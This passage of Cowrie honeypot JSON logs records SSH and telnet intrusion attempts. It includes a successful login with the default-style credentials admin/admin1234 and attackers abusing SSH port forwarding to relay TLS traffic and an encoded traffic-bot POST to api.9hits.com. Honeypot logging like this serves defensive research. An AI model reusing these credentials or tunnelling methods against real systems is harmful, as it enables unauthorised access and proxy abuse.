j\\xe2\\xb1\\xccr\\x1e7$\\x9f\\x93\\xae2\\x14\\xbaF\\xfd\\x91\\xcb{A\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d[F\\xe2\\xcb\\xd7\\xd3\\x91`\\x89mY\\xb0X\\xf5\\xe6\\xd8z\\x11\\x03\\xe8\\xc3\\xb1\\x9e,\"\\xf7\\xbdT\\x7f\\xddl l]\\x05\\xa8\\x80\\xbb\\x15=\\x83\\x80;\\xba\\xc7\\xa5\\xcc\\x7f\\xab*n\\xe6\\xc9\\x88\\xd5_\\xe9J|ez3\\xe8F\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 -|\\xba\\xfaf\\x8a\\'8\\xda\\xab\\xb5 j\\xe2\\xb1\\xccr\\x1e7$\\x9f\\x93\\xae2\\x14\\xbaF\\xfd\\x91\\xcb{A\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:11.996807Z","src_ip":"113.164.152.20","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:12.278292Z","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:12.553018Z","src_ip":"113.164.152.20","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3\\x83\\xb7\"2\\xb6*\\xd6\\xf1lf\\xf2\\xaeq\\x1c\\x03\\xd8je\\xc2\\x9d\\xab:\\xe0\\xb6I\\xf5?G\\x90)\\xb2 \\xd3T\\x99\\xaa\\xcd\\xc4|\\xc6dyeB\\xd7[2-\\xef\\xd7\\xdd\\x81\\xb21\\x8e\\xbd\\xdb\\xc53\\x83\\t\\xe8\\x827\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1b\\x12z\\xe5\\xf5Q\\xf3\\xc0\\xb4f\\xaf\\xba$\\xfd\\xa4i\\xb0\\xbf]H\\x87\\xb0\\xca\\xb9\\x07\\xb1\\xe3\\x18\\xae\\xca\\xa7\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3\\x83\\xb7\"2\\xb6*\\xd6\\xf1lf\\xf2\\xaeq\\x1c\\x03\\xd8je\\xc2\\x9d\\xab:\\xe0\\xb6I\\xf5?G\\x90)\\xb2 \\xd3T\\x99\\xaa\\xcd\\xc4|\\xc6dyeB\\xd7[2-\\xef\\xd7\\xdd\\x81\\xb21\\x8e\\xbd\\xdb\\xc53\\x83\\t\\xe8\\x827\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1b\\x12z\\xe5\\xf5Q\\xf3\\xc0\\xb4f\\xaf\\xba$\\xfd\\xa4i\\xb0\\xbf]H\\x87\\xb0\\xca\\xb9\\x07\\xb1\\xe3\\x18\\xae\\xca\\xa7\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:12.556112Z","src_ip":"113.164.152.20","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:12.957279Z","src_ip":"113.164.152.20","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.8","message":"Connection lost after 25.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:14.306500Z","src_ip":"173.208.188.210","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60696,"dst_ip":"159.203.135.109","dst_port":23,"session":"32bd9e2fc201","protocol":"telnet","message":"New connection: 128.199.8.54:60696 (159.203.135.109:23) [session: 32bd9e2fc201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:32.574723Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60158,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c609738b69e","protocol":"telnet","message":"New connection: 128.199.8.54:60158 (159.203.135.109:23) [session: 9c609738b69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:32.933313Z"}
{"eventid":"cowrie.session.closed","duration":51.52839541435242,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:37.367697Z","src_ip":"94.23.66.112","session":"6dbd599b49d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59104,"dst_ip":"159.203.135.109","dst_port":23,"session":"b78ac99f4373","protocol":"telnet","message":"New connection: 172.81.62.90:59104 (159.203.135.109:23) [session: b78ac99f4373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:48.722226Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59120,"dst_ip":"159.203.135.109","dst_port":23,"session":"3918e8d6bab9","protocol":"telnet","message":"New connection: 172.81.62.90:59120 (159.203.135.109:23) [session: 3918e8d6bab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:51.745157Z"}
{"eventid":"cowrie.session.closed","duration":45.49594283103943,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:54.986932Z","src_ip":"128.199.8.54","session":"75abd1a2e5a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59132,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef9dac62caac","protocol":"telnet","message":"New connection: 172.81.62.90:59132 (159.203.135.109:23) [session: ef9dac62caac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:55.776490Z"}
{"eventid":"cowrie.session.closed","duration":30.720123529434204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:03.653308Z","src_ip":"128.199.8.54","session":"9c609738b69e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":82.46541261672974,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:24.255132Z","src_ip":"94.23.66.112","session":"dfa013eff193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.11642098426819,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:27.838523Z","src_ip":"172.81.62.90","session":"b78ac99f4373","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.79483962059021,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:30.540040Z","src_ip":"172.81.62.90","session":"3918e8d6bab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.818268060684204,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:34.594601Z","src_ip":"172.81.62.90","session":"ef9dac62caac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":52325,"dst_ip":"10.17.0.5","dst_port":22,"session":"da86a2e7874e","protocol":"ssh","message":"New connection: 123.27.168.40:52325 (10.17.0.5:22) [session: da86a2e7874e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:38.619669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:38.623672Z","src_ip":"123.27.168.40","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:38.885057Z","src_ip":"123.27.168.40","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:40.023087Z","src_ip":"123.27.168.40","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:40.429904Z","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:40.689296Z","src_ip":"123.27.168.40","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-G9700/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eVUzfjNuMilwJj5XUCRFRQ%3D%3DplXDd1sRRDpDIHTOYZQj274IKiIZHQNIAv5szjNxeADVWHb4qh3%2Bj74sMlhKw4oVo20zGJVG2M3rZjXauvO%2F9z5VzIK%2BNL9neEP3tJq87UE43whfGH4WVM2wCUgAn0Wr9ORIxMt%2FIG8dHg4Spgv%2B9cHVEEgFBmiDE43n%2BxoswFrlKinoeDC98weC2hxGq4bL6CDvi0j18LQYGJ5Ama%2BzBomSaKMoOXx5a9SxJQwrKwq7%2BexqJBlM8ivODB6SXUr1FOj8nhNearOr3kiCV5gwFBdxgtUgeWlmHVxTErrOhORNF3DKNnzqNsyIQRSP%2Bxb0fghAI8ZOthA4bVu2h2r7DNNpp6VjrolvOFpli83xCT6QxLnRA58YCPmWabmJAVLoJcLQWdCCfwHmT8FXzuN1%2Fbh9qCtSO5WsByX2BUu%2FdTRUdm506zAh9V7G9yuFoJC7zfPxbvlF4Ue2taxgZCx1yZhXOskeb8zbortx7kXM7tZj0uAT%2FWNDfRY9mtPf6N0CTgeAgtis%2FQUdHn7uWszGl1eW3OCf7Sg648ffiqXKh2gOhkfqoA5SOyZSSntm2gy4kGAbRZcqHszHT9BNV3ruMx%2FhQAxQkCD544wax%2BvdtLyP4Sv30oR5Bqad0O%2BfsHKMDsiWlIvWQphAxkHy7CUcl39a8BlEAcVJJrn4a0mpKU7Qb4YGwqkzPZF7Tlv%2BDAdDRBd7bp1iRI3Cr%2BolsDw3APmI2lc5%2BTKMVO9neYakXV0XPnUjvzX3JuUgxviUIn%2FjF7avmy7L8NX7MlMsbrzT1F06HdngPmBsqTI498qrTKDMHhlhP4UJfaIIAMmhihJEAOtZUvTf0Nz6hidnww4grvfLBHRJ3HfA7BI3rV%2BYrbgmPonRqPQ8KYdmGJPmSyBH4724pRk3tny7KD7VbCHgPyvO6EZ2ofbJ%2FGtwjIm1aFHzd0EgtxrT7%2F18k3b%2FBN10FqIRqcXtXRsVGDuzG9hJ%2BI2ooLnCe5slDSEShe0W9SuOZGSgjO6JSNCT9I4UgM5e35uX0Vqog79%2BwQLRsJWHl72UCglaxwRnfmSdobbT1wjRL%2FP0P48VB%2BPEZ%2FVcshIO'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-G9700/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eVUzfjNuMilwJj5XUCRFRQ%3D%3DplXDd1sRRDpDIHTOYZQj274IKiIZHQNIAv5szjNxeADVWHb4qh3%2Bj74sMlhKw4oVo20zGJVG2M3rZjXauvO%2F9z5VzIK%2BNL9neEP3tJq87UE43whfGH4WVM2wCUgAn0Wr9ORIxMt%2FIG8dHg4Spgv%2B9cHVEEgFBmiDE43n%2BxoswFrlKinoeDC98weC2hxGq4bL6CDvi0j18LQYGJ5Ama%2BzBomSaKMoOXx5a9SxJQwrKwq7%2BexqJBlM8ivODB6SXUr1FOj8nhNearOr3kiCV5gwFBdxgtUgeWlmHVxTErrOhORNF3DKNnzqNsyIQRSP%2Bxb0fghAI8ZOthA4bVu2h2r7DNNpp6VjrolvOFpli83xCT6QxLnRA58YCPmWabmJAVLoJcLQWdCCfwHmT8FXzuN1%2Fbh9qCtSO5WsByX2BUu%2FdTRUdm506zAh9V7G9yuFoJC7zfPxbvlF4Ue2taxgZCx1yZhXOskeb8zbortx7kXM7tZj0uAT%2FWNDfRY9mtPf6N0CTgeAgtis%2FQUdHn7uWszGl1eW3OCf7Sg648ffiqXKh2gOhkfqoA5SOyZSSntm2gy4kGAbRZcqHszHT9BNV3ruMx%2FhQAxQkCD544wax%2BvdtLyP4Sv30oR5Bqad0O%2BfsHKMDsiWlIvWQphAxkHy7CUcl39a8BlEAcVJJrn4a0mpKU7Qb4YGwqkzPZF7Tlv%2BDAdDRBd7bp1iRI3Cr%2BolsDw3APmI2lc5%2BTKMVO9neYakXV0XPnUjvzX3JuUgxviUIn%2FjF7avmy7L8NX7MlMsbrzT1F06HdngPmBsqTI498qrTKDMHhlhP4UJfaIIAMmhihJEAOtZUvTf0Nz6hidnww4grvfLBHRJ3HfA7BI3rV%2BYrbgmPonRqPQ8KYdmGJPmSyBH4724pRk3tny7KD7VbCHgPyvO6EZ2ofbJ%2FGtwjIm1aFHzd0EgtxrT7%2F18k3b%2FBN10FqIRqcXtXRsVGDuzG9hJ%2BI2ooLnCe5slDSEShe0W9SuOZGSgjO6JSNCT9I4UgM5e35uX0Vqog79%2BwQLRsJWHl72UCglaxwRnfmSdobbT1wjRL%2FP0P48VB%2BPEZ%2FVcshIO'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:40.693266Z","src_ip":"123.27.168.40","session":"da86a2e7874e","protocol":"ssh"}
